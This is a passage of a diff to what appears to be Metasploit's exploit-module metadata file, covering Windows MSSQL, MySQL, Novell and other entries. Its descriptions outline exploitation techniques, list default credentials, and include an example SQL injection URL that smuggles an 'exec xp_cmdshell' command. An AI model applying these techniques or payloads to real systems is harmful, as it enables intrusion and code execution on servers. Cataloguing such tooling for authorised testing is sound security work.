4. On MSSQL 2005, an additional vtable ptr is smashed, which is referenced with\n a displacement of 4. This pointer is not used by this exploit.\n\n This particular exploit replaces the previous dual-method exploit. It uses\n a technique where the value contained in ecx becomes the stack. From there,\n return oriented programming is used to normalize the execution state and\n finally execute the payload via a \"jmp esp\". All addresses used were found\n within the sqlservr.exe memory space, yielding very reliable code execution\n using only a single query.\n\n NOTE: The MSSQL server service does not automatically restart by default. That\n said, some exceptions are caught and will not result in terminating the process.\n If the exploit crashes the service prior to hijacking the stack, it won't die.\n Otherwise, it's a goner.", "references": [ "OSVDB-50589", "CVE-2008-5416", @@ -190037,7 +195197,7 @@ "MSSQL 2005 SP2 (9.00.3042.00)", "CRASHER" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin_sqli.rb", "is_install_path": true, "ref_name": "windows/mssql/ms09_004_sp_replwritetovarbin_sqli", @@ -190045,6 +195205,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -190052,9 +195221,7 @@ "exploit_windows/mssql/mssql_clr_payload": { "name": "Microsoft SQL Server Clr Stored Procedure Payload Execution", "fullname": "exploit/windows/mssql/mssql_clr_payload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "1999-01-01", "type": "exploit", @@ -190087,7 +195254,7 @@ "targets": [ "Automatic" ], - "mod_time": "2025-01-09 20:58:40 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/mssql/mssql_clr_payload.rb", "is_install_path": true, "ref_name": "windows/mssql/mssql_clr_payload", @@ -190095,6 +195262,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -190102,9 +195278,7 @@ "exploit_windows/mssql/mssql_linkcrawler": { "name": "Microsoft SQL Server Database Link Crawling Command Execution", "fullname": "exploit/windows/mssql/mssql_linkcrawler", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2000-01-01", "type": "exploit", @@ -190112,7 +195286,7 @@ "Antti Rantasaari ", "Scott Sutherland \"nullbind\" " ], - "description": "This module can be used to crawl MS SQL Server database links and deploy\n Metasploit payloads through links configured with sysadmin privileges using a\n valid SQL Server Login.\n\n If you are attempting to obtain multiple reverse shells using this module we\n recommend setting the \"DisablePayloadHandler\" advanced option to \"true\", and setting\n up a exploit/multi/handler to run in the background as a job to support multiple incoming\n shells.\n\n If you are interested in deploying payloads to specific servers this module also\n supports that functionality via the \"DEPLOYLIST\" option.\n\n Currently, the module is capable of delivering payloads to both 32bit and 64bit\n Windows systems via powershell memory injection methods based on Matthew Graeber's\n work. As a result, the target server must have powershell installed. By default,\n all of the crawl information is saved to a CSV formatted log file and MSF loot so\n that the tool can also be used for auditing without deploying payloads.", + "description": "This module can be used to crawl MS SQL Server database links and deploy\n Metasploit payloads through links configured with sysadmin privileges using a\n valid SQL Server Login.\n\n If you are attempting to obtain multiple reverse shells using this module we\n recommend setting the \"DisablePayloadHandler\" advanced option to \"true\", and setting\n up a exploit/multi/handler to run in the background as a job to support multiple incoming\n shells.\n\n If you are interested in deploying payloads to specific servers this module also\n supports that functionality via the \"DEPLOYLIST\" option.\n\n Currently, the module is capable of delivering payloads to both 32bit and 64bit\n Windows systems via powershell memory injection methods based on Matthew Graeber's\n work. As a result, the target server must have powershell installed. By default,\n all of the crawl information is saved to a CSV formatted log file and MSF loot so\n that the tool can also be used for auditing without deploying payloads.", "references": [ "URL-http://www.slideshare.net/nullbind/sql-server-exploitation-escalation-pilfering-appsec-usa-2012", "URL-http://msdn.microsoft.com/en-us/library/ms188279.aspx", @@ -190138,7 +195312,7 @@ "targets": [ "Automatic" ], - "mod_time": "2024-02-19 10:57:53 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/mssql/mssql_linkcrawler.rb", "is_install_path": true, "ref_name": "windows/mssql/mssql_linkcrawler", @@ -190146,6 +195320,15 @@ "post_auth": true, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -190153,9 +195336,7 @@ "exploit_windows/mssql/mssql_payload": { "name": "Microsoft SQL Server Payload Execution", "fullname": "exploit/windows/mssql/mssql_payload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2000-05-30", "type": "exploit", @@ -190163,7 +195344,7 @@ "David Kennedy \"ReL1K\" ", "jduck " ], - "description": "This module executes an arbitrary payload on a Microsoft SQL Server by using\n the \"xp_cmdshell\" stored procedure. Currently, three delivery methods are supported.\n\n First, the original method uses Windows 'debug.com'. File size restrictions are\n avoided by incorporating the debug bypass method presented by SecureStat at\n Defcon 17. Since this method invokes ntvdm, it is not available on x64 systems.\n\n A second method takes advantage of the Command Stager subsystem. This allows using\n various techniques, such as using a TFTP server, to send the executable. By default\n the Command Stager uses 'wcsript.exe' to generate the executable on the target.\n\n Finally, ReL1K's latest method utilizes PowerShell to transmit and recreate the\n payload on the target.\n\n NOTE: This module will leave a payload executable on the target system when the\n attack is finished.", + "description": "This module executes an arbitrary payload on a Microsoft SQL Server by using\n the \"xp_cmdshell\" stored procedure. Currently, three delivery methods are supported.\n\n First, the original method uses Windows 'debug.com'. File size restrictions are\n avoided by incorporating the debug bypass method presented by SecureStat at\n Defcon 17. Since this method invokes ntvdm, it is not available on x64 systems.\n\n A second method takes advantage of the Command Stager subsystem. This allows using\n various techniques, such as using a TFTP server, to send the executable. By default\n the Command Stager uses 'wcsript.exe' to generate the executable on the target.\n\n Finally, ReL1K's latest method utilizes PowerShell to transmit and recreate the\n payload on the target.\n\n NOTE: This module will leave a payload executable on the target system when the\n attack is finished.", "references": [ "CVE-2000-0402", "OSVDB-557", @@ -190192,7 +195373,7 @@ "targets": [ "Automatic" ], - "mod_time": "2024-03-05 13:27:00 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/mssql/mssql_payload.rb", "is_install_path": true, "ref_name": "windows/mssql/mssql_payload", @@ -190200,21 +195381,26 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": [ "mssql" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/mssql/mssql_payload_sqli": { "name": "Microsoft SQL Server Payload Execution via SQL Injection", "fullname": "exploit/windows/mssql/mssql_payload_sqli", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2000-05-30", "type": "exploit", @@ -190223,7 +195409,7 @@ "jduck ", "Rodrigo Marcos" ], - "description": "This module will execute an arbitrary payload on a Microsoft SQL\n Server, using a SQL injection vulnerability.\n\n Once a vulnerability is identified this module\n will use xp_cmdshell to upload and execute Metasploit payloads.\n It is necessary to specify the exact point where the SQL injection\n vulnerability happens. For example, given the following injection:\n\n http://www.example.com/show.asp?id=1;exec xp_cmdshell 'dir';--&cat=electrical\n\n you would need to set the following path:\n set GET_PATH /showproduct.asp?id=1;[SQLi];--&cat=foobar\n\n In regard to the payload, unless there is a closed port in the web server,\n you dont want to use any \"bind\" payload, specially on port 80, as you will\n stop reaching the vulnerable web server host. You want a \"reverse\" payload, probably to\n your port 80 or to any other outbound port allowed on the firewall.\n For privileged ports execute Metasploit msfconsole as root.\n\n Currently, three delivery methods are supported.\n\n First, the original method uses Windows 'debug.com'. File size restrictions are\n avoided by incorporating the debug bypass method presented by SecureStat at\n Defcon 17. Since this method invokes ntvdm, it is not available on x64 systems.\n\n A second method takes advantage of the Command Stager subsystem. This allows using\n various techniques, such as using a TFTP server, to send the executable. By default\n the Command Stager uses 'wcsript.exe' to generate the executable on the target.\n\n Finally, ReL1K's latest method utilizes PowerShell to transmit and recreate the\n payload on the target.\n\n NOTE: This module will leave a payload executable on the target system when the\n attack is finished.", + "description": "This module will execute an arbitrary payload on a Microsoft SQL\n Server, using a SQL injection vulnerability.\n\n Once a vulnerability is identified this module\n will use xp_cmdshell to upload and execute Metasploit payloads.\n It is necessary to specify the exact point where the SQL injection\n vulnerability happens. For example, given the following injection:\n\n http://www.example.com/show.asp?id=1;exec xp_cmdshell 'dir';--&cat=electrical\n\n you would need to set the following path:\n set GET_PATH /showproduct.asp?id=1;[SQLi];--&cat=foobar\n\n In regard to the payload, unless there is a closed port in the web server,\n you dont want to use any \"bind\" payload, specially on port 80, as you will\n stop reaching the vulnerable web server host. You want a \"reverse\" payload, probably to\n your port 80 or to any other outbound port allowed on the firewall.\n For privileged ports execute Metasploit msfconsole as root.\n\n Currently, three delivery methods are supported.\n\n First, the original method uses Windows 'debug.com'. File size restrictions are\n avoided by incorporating the debug bypass method presented by SecureStat at\n Defcon 17. Since this method invokes ntvdm, it is not available on x64 systems.\n\n A second method takes advantage of the Command Stager subsystem. This allows using\n various techniques, such as using a TFTP server, to send the executable. By default\n the Command Stager uses 'wcsript.exe' to generate the executable on the target.\n\n Finally, ReL1K's latest method utilizes PowerShell to transmit and recreate the\n payload on the target.\n\n NOTE: This module will leave a payload executable on the target system when the\n attack is finished.", "references": [ "CVE-2000-0402", "OSVDB-557", @@ -190254,7 +195440,7 @@ "targets": [ "Automatic" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/mssql/mssql_payload_sqli.rb", "is_install_path": true, "ref_name": "windows/mssql/mssql_payload_sqli", @@ -190262,6 +195448,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -190269,9 +195464,7 @@ "exploit_windows/mysql/mysql_mof": { "name": "Oracle MySQL for Microsoft Windows MOF Execution", "fullname": "exploit/windows/mysql/mysql_mof", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-12-01", "type": "exploit", @@ -190279,26 +195472,26 @@ "kingcope", "sinn3r " ], - "description": "This module takes advantage of a file privilege misconfiguration problem\n specifically against Windows MySQL servers (due to the use of a .mof file).\n This may result in arbitrary code execution under the context of SYSTEM.\n This module requires a valid MySQL account on the target machine.", + "description": "This module takes advantage of a file privilege misconfiguration problem\n specifically against Windows MySQL servers (due to the use of a .mof file).\n This may result in arbitrary code execution under the context of SYSTEM.\n This module requires a valid MySQL account on the target machine.", "references": [ "CVE-2012-5613", "OSVDB-88118", "EDB-23083", - "URL-https://seclists.org/fulldisclosure/2012/Dec/13" + "URL-https://seclists.org/fulldisclosure/2012/Dec/13", + "ATT&CK-T1059", + "ATT&CK-T1068", + "ATT&CK-T1078", + "ATT&CK-T1105" ], "platform": "Windows", "arch": "", "rport": 3306, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "MySQL on Windows prior to Vista" ], - "mod_time": "2024-02-28 17:18:43 +0000", + "mod_time": "2025-06-06 12:39:33 +0000", "path": "/modules/exploits/windows/mysql/mysql_mof.rb", "is_install_path": true, "ref_name": "windows/mysql/mysql_mof", @@ -190306,21 +195499,26 @@ "post_auth": true, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": [ "mysql" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/mysql/mysql_start_up": { "name": "Oracle MySQL for Microsoft Windows FILE Privilege Abuse", "fullname": "exploit/windows/mysql/mysql_start_up", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-12-01", "type": "exploit", @@ -190328,7 +195526,7 @@ "sinn3r ", "Sean Verity " ], - "description": "This module takes advantage of a file privilege misconfiguration problem\n specifically against Windows MySQL servers. This module abuses the FILE\n privilege to write a payload to Microsoft's All Users Start Up directory\n which will execute every time a user logs in. The default All Users Start\n Up directory used by the module is present on Windows 7.", + "description": "This module takes advantage of a file privilege misconfiguration problem\n specifically against Windows MySQL servers. This module abuses the FILE\n privilege to write a payload to Microsoft's All Users Start Up directory\n which will execute every time a user logs in. The default All Users Start\n Up directory used by the module is present on Windows 7.", "references": [ "CVE-2012-5613", "OSVDB-88118", @@ -190338,16 +195536,12 @@ "platform": "Windows", "arch": "", "rport": 3306, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "MySQL on Windows" ], - "mod_time": "2024-02-28 17:18:43 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/mysql/mysql_start_up.rb", "is_install_path": true, "ref_name": "windows/mysql/mysql_start_up", @@ -190355,28 +195549,33 @@ "post_auth": true, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": [ "mysql" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/mysql/mysql_yassl_hello": { "name": "MySQL yaSSL SSL Hello Message Buffer Overflow", "fullname": "exploit/windows/mysql/mysql_yassl_hello", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2008-01-04", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in the yaSSL (1.7.5 and earlier)\n implementation bundled with MySQL <= 6.0. By sending a specially crafted\n Hello packet, an attacker may be able to execute arbitrary code.", + "description": "This module exploits a stack buffer overflow in the yaSSL (1.7.5 and earlier)\n implementation bundled with MySQL <= 6.0. By sending a specially crafted\n Hello packet, an attacker may be able to execute arbitrary code.", "references": [ "CVE-2008-0226", "OSVDB-41195", @@ -190385,17 +195584,13 @@ "platform": "Windows", "arch": "", "rport": 3306, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "MySQL 5.0.45-community-nt", "MySQL 5.1.22-rc-community" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/mysql/mysql_yassl_hello.rb", "is_install_path": true, "ref_name": "windows/mysql/mysql_yassl_hello", @@ -190403,6 +195598,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -190410,9 +195614,7 @@ "exploit_windows/mysql/scrutinizer_upload_exec": { "name": "Plixer Scrutinizer NetFlow and sFlow Analyzer 9 Default MySQL Credential", "fullname": "exploit/windows/mysql/scrutinizer_upload_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-07-27", "type": "exploit", @@ -190422,7 +195624,7 @@ "Tanya Secker", "sinn3r " ], - "description": "This exploits an insecure config found in Scrutinizer NetFlow & sFlow Analyzer.\n By default, the software installs a default password in MySQL, and binds the\n service to \"0.0.0.0\". This allows any remote user to login to MySQL, and then\n gain arbitrary remote code execution under the context of 'SYSTEM'. Examples\n of default credentials include: 'scrutinizer:admin', and 'scrutremote:admin'.", + "description": "This exploits an insecure config found in Scrutinizer NetFlow & sFlow Analyzer.\n By default, the software installs a default password in MySQL, and binds the\n service to \"0.0.0.0\". This allows any remote user to login to MySQL, and then\n gain arbitrary remote code execution under the context of 'SYSTEM'. Examples\n of default credentials include: 'scrutinizer:admin', and 'scrutremote:admin'.", "references": [ "CVE-2012-3951", "OSVDB-84317", @@ -190450,7 +195652,7 @@ "targets": [ "Scrutinizer NetFlow and sFlow Analyzer 9.5.2 or older" ], - "mod_time": "2023-03-23 10:19:30 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb", "is_install_path": true, "ref_name": "windows/mysql/scrutinizer_upload_exec", @@ -190458,6 +195660,15 @@ "post_auth": true, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": true @@ -190465,16 +195676,14 @@ "exploit_windows/nfs/xlink_nfsd": { "name": "Omni-NFS Server Buffer Overflow", "fullname": "exploit/windows/nfs/xlink_nfsd", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2006-11-06", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in Xlink Omni-NFS Server 5.2\n When sending a specially crafted nfs packet, an attacker may be able\n to execute arbitrary code.", + "description": "This module exploits a stack buffer overflow in Xlink Omni-NFS Server 5.2\n When sending a specially crafted nfs packet, an attacker may be able\n to execute arbitrary code.", "references": [ "CVE-2006-5780", "OSVDB-30224", @@ -190484,16 +195693,12 @@ "platform": "Windows", "arch": "", "rport": 2049, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2000 SP4 English" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/nfs/xlink_nfsd.rb", "is_install_path": true, "ref_name": "windows/nfs/xlink_nfsd", @@ -190501,6 +195706,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -190508,9 +195722,7 @@ "exploit_windows/nimsoft/nimcontroller_bof": { "name": "CA Unified Infrastructure Management Nimsoft 7.80 - Remote Buffer Overflow", "fullname": "exploit/windows/nimsoft/nimcontroller_bof", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-02-05", "type": "exploit", @@ -190527,12 +195739,8 @@ "platform": "Windows", "arch": "x64", "rport": 48000, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal (x64) - v7.80.3132" ], @@ -190550,9 +195758,7 @@ "Reliability": [ "repeatable-session" ], - "SideEffects": [ - - ] + "SideEffects": [] }, "session_types": false, "needs_cleanup": null @@ -190560,16 +195766,14 @@ "exploit_windows/nntp/ms05_030_nntp": { "name": "MS05-030 Microsoft Outlook Express NNTP Response Parsing Buffer Overflow", "fullname": "exploit/windows/nntp/ms05_030_nntp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2005-06-14", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in the news reader of Microsoft\n Outlook Express.", + "description": "This module exploits a stack buffer overflow in the news reader of Microsoft\n Outlook Express.", "references": [ "CVE-2005-1213", "OSVDB-17306", @@ -190579,17 +195783,13 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2000 English SP0-SP4", "Windows XP English SP0/SP1" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/nntp/ms05_030_nntp.rb", "is_install_path": true, "ref_name": "windows/nntp/ms05_030_nntp", @@ -190597,6 +195797,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -190604,9 +195813,7 @@ "exploit_windows/novell/file_reporter_fsfui_upload": { "name": "NFR Agent FSFUI Record File Upload RCE", "fullname": "exploit/windows/novell/file_reporter_fsfui_upload", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2012-11-16", "type": "exploit", @@ -190640,7 +195847,7 @@ "targets": [ "Automatic" ], - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/novell/file_reporter_fsfui_upload.rb", "is_install_path": true, "ref_name": "windows/novell/file_reporter_fsfui_upload", @@ -190648,6 +195855,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": true @@ -190655,16 +195871,14 @@ "exploit_windows/novell/groupwisemessenger_client": { "name": "Novell GroupWise Messenger Client Buffer Overflow", "fullname": "exploit/windows/novell/groupwisemessenger_client", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2008-07-02", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in Novell's GroupWise Messenger Client.\n By sending a specially crafted HTTP response, an attacker may be able to execute\n arbitrary code.", + "description": "This module exploits a stack buffer overflow in Novell's GroupWise Messenger Client.\n By sending a specially crafted HTTP response, an attacker may be able to execute\n arbitrary code.", "references": [ "CVE-2008-2703", "OSVDB-46041", @@ -190674,17 +195888,13 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Novell GroupWise Messenger 2.0 Client", "Novell GroupWise Messenger 1.0 Client" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/novell/groupwisemessenger_client.rb", "is_install_path": true, "ref_name": "windows/novell/groupwisemessenger_client", @@ -190692,6 +195902,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -190699,9 +195918,7 @@ "exploit_windows/novell/netiq_pum_eval": { "name": "NetIQ Privileged User Manager 2.3.1 ldapagnt_eval() Remote Perl Code Execution", "fullname": "exploit/windows/novell/netiq_pum_eval", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-11-15", "type": "exploit", @@ -190737,7 +195954,7 @@ "targets": [ "Windows 2003 SP2 / NetIQ Privileged User Manager 2.3.1" ], - "mod_time": "2022-03-11 12:22:27 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/novell/netiq_pum_eval.rb", "is_install_path": true, "ref_name": "windows/novell/netiq_pum_eval", @@ -190745,6 +195962,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": true @@ -190752,16 +195978,14 @@ "exploit_windows/novell/nmap_stor": { "name": "Novell NetMail NMAP STOR Buffer Overflow", "fullname": "exploit/windows/novell/nmap_stor", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2006-12-23", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in Novell's Netmail 3.52 NMAP STOR\n verb. By sending an overly long string, an attacker can overwrite the\n buffer and control program execution.", + "description": "This module exploits a stack buffer overflow in Novell's Netmail 3.52 NMAP STOR\n verb. By sending an overly long string, an attacker can overwrite the\n buffer and control program execution.", "references": [ "CVE-2006-6424", "OSVDB-31363", @@ -190770,16 +195994,12 @@ "platform": "Windows", "arch": "", "rport": 689, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2000 Pro SP4 English" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/novell/nmap_stor.rb", "is_install_path": true, "ref_name": "windows/novell/nmap_stor", @@ -190787,6 +196007,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -190794,16 +196023,14 @@ "exploit_windows/novell/zenworks_desktop_agent": { "name": "Novell ZENworks 6.5 Desktop/Server Management Overflow", "fullname": "exploit/windows/novell/zenworks_desktop_agent", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2005-05-19", "type": "exploit", "author": [ "Unknown" ], - "description": "This module exploits a heap overflow in the Novell ZENworks\n Desktop Management agent. This vulnerability was discovered\n by Alex Wheeler.", + "description": "This module exploits a heap overflow in the Novell ZENworks\n Desktop Management agent. This vulnerability was discovered\n by Alex Wheeler.", "references": [ "CVE-2005-1543", "OSVDB-16698", @@ -190812,16 +196039,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP/2000/2003- ZENworks 6.5 Desktop/Server Agent" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/novell/zenworks_desktop_agent.rb", "is_install_path": true, "ref_name": "windows/novell/zenworks_desktop_agent", @@ -190829,6 +196052,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -190836,9 +196068,7 @@ "exploit_windows/novell/zenworks_preboot_op21_bof": { "name": "Novell ZENworks Configuration Management Preboot Service 0x21 Buffer Overflow", "fullname": "exploit/windows/novell/zenworks_preboot_op21_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-03-30", "type": "exploit", @@ -190846,7 +196076,7 @@ "Stephen Fewer", "juan vazquez " ], - "description": "This module exploits a remote buffer overflow in the ZENworks Configuration\n Management 10 SP2. The vulnerability exists in the Preboot service and can be\n triggered by sending a specially crafted packet with the opcode 0x21\n (PROXY_CMD_FTP_FILE) to port 998/TCP. The module has been successfully tested on\n Novell ZENworks Configuration Management 10 SP2 and Windows Server 2003 SP2\n (DEP bypass).", + "description": "This module exploits a remote buffer overflow in the ZENworks Configuration\n Management 10 SP2. The vulnerability exists in the Preboot service and can be\n triggered by sending a specially crafted packet with the opcode 0x21\n (PROXY_CMD_FTP_FILE) to port 998/TCP. The module has been successfully tested on\n Novell ZENworks Configuration Management 10 SP2 and Windows Server 2003 SP2\n (DEP bypass).", "references": [ "CVE-2012-2215", "OSVDB-65361", @@ -190857,16 +196087,12 @@ "platform": "Windows", "arch": "", "rport": 998, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Novell ZENworks Configuration Management 10 SP2 / Windows 2003 SP2" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/novell/zenworks_preboot_op21_bof.rb", "is_install_path": true, "ref_name": "windows/novell/zenworks_preboot_op21_bof", @@ -190874,6 +196100,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -190881,9 +196116,7 @@ "exploit_windows/novell/zenworks_preboot_op4c_bof": { "name": "Novell ZENworks Configuration Management Preboot Service 0x4c Buffer Overflow", "fullname": "exploit/windows/novell/zenworks_preboot_op4c_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-02-22", "type": "exploit", @@ -190891,7 +196124,7 @@ "Luigi Auriemma", "juan vazquez " ], - "description": "This module exploits a remote buffer overflow in the ZENworks Configuration\n Management. The vulnerability exists in the Preboot service and can be triggered\n by sending a specially crafted packet with the opcode 0x4c\n (PROXY_CMD_PREBOOT_TASK_INFO2) to port 998/TCP. The module has been successfully\n tested on Novell ZENworks Configuration Management 10 SP2 / SP3 and Windows Server\n 2003 SP2 (DEP bypass).", + "description": "This module exploits a remote buffer overflow in the ZENworks Configuration\n Management. The vulnerability exists in the Preboot service and can be triggered\n by sending a specially crafted packet with the opcode 0x4c\n (PROXY_CMD_PREBOOT_TASK_INFO2) to port 998/TCP. The module has been successfully\n tested on Novell ZENworks Configuration Management 10 SP2 / SP3 and Windows Server\n 2003 SP2 (DEP bypass).", "references": [ "CVE-2011-3176", "OSVDB-80231", @@ -190901,17 +196134,13 @@ "platform": "Windows", "arch": "", "rport": 998, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Novell ZENworks Configuration Management 10 SP3 / Windows 2003 SP2", "Novell ZENworks Configuration Management 10 SP2 / Windows 2003 SP2" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/novell/zenworks_preboot_op4c_bof.rb", "is_install_path": true, "ref_name": "windows/novell/zenworks_preboot_op4c_bof", @@ -190919,6 +196148,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, 